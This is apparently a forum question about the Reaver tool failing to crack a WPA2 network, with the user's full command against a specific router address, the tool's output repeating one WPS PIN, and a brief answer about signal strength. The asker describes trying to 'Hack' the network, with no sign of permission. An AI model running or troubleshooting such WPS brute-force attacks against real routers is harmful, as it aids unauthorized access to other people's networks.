Linux – Reaver keeps reapeating the same PIN

aircrack-nglinuxUbuntuwireless-networking

I have been trying to Hack a WPA2 Wifi, and so far I am stuck with it.

Problem is that it keeps trying the same PIN over and over again.

Here is the last REAVER command I entered.

reaver -i mon0 -b 2C:AB:25:51:F1:CF -vv -c 1 -S -L -f

It does this (only one PIN again and again)

[+] Switching mon0 to channel 1
[+] Waiting for beacon from 2C:AB:25:51:F1:CF
[+] Associated with 2C:AB:25:51:F1:CF (ESSID: PTCL-BB)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670

[+] Nothing done, nothing to save.

The router you're cracking needs to have a relatively strong signal, so if you're hardly in range of a router, you'll likely experience problems, and Reaver may not work.
